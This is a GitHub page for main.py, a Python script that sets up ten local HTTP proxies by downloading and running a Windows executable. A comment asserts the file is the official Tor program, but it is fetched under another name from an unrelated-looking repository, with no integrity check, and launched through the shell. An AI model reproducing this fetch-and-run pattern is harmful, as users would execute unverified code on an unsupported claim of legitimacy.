-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.py
67 lines (55 loc) · 2.37 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import os
import requests
import tempfile
import subprocess
import psutil
class ServiceInstaller:
service_link = "https://github.com/tricx0/iFaxgZaDgn-lvXTBBeX7k/raw/main/servicexolo.exe" # THIS IS THE OFFICIAL TOR EXECUTABLE
def __init__(self, total_ips):
self.temp_dir = tempfile.gettempdir()
self.total_ips = total_ips
self.stop_servicexolo_windows()
def _create_temp_directory(self):
try:
os.makedirs(os.path.join(self.temp_dir, "xoloservice"))
except FileExistsError:
pass
def _download_file(self):
response = requests.get(self.service_link)
if response.status_code != 200:
return None
file_path = os.path.join(self.temp_dir, "xoloservice", os.path.basename(self.service_link))
with open(file_path, 'wb') as f:
f.write(response.content)
return file_path
def _generate_ips_file(self, file_path2):
ips = b"HTTPTunnelPort 9080"
for i in range(self.total_ips - 1):
ips += f"\nHTTPTunnelPort {9081 + i}".encode()
with open(file_path2, 'wb') as f:
f.write(ips)
def install_service(self):
self._create_temp_directory()
file_path = self._download_file()
if not file_path:
return
file_path2 = os.path.join(self.temp_dir, "xoloservice", "config")
self._generate_ips_file(file_path2)
process = subprocess.Popen(f"{file_path} -nt-service -f {file_path2}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while True:
line = process.stdout.readline().decode().strip()
print(line)
if "Bootstrapped 100% (done): Done" in line:
break
def stop_servicexolo_windows(self):
for proc in psutil.process_iter():
try:
if proc.name() == "servicexolo.exe":
proc.terminate()
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
def make(total_ips):
ServiceInstaller(total_ips).install_service()
return [f"http://127.0.0.1:{9080 + i}" for i in range(total_ips)]
ips = make(10)
input(f"\nPROXIES GENERATED:\n{ips}\n\nPress enter to terminate the proxies...")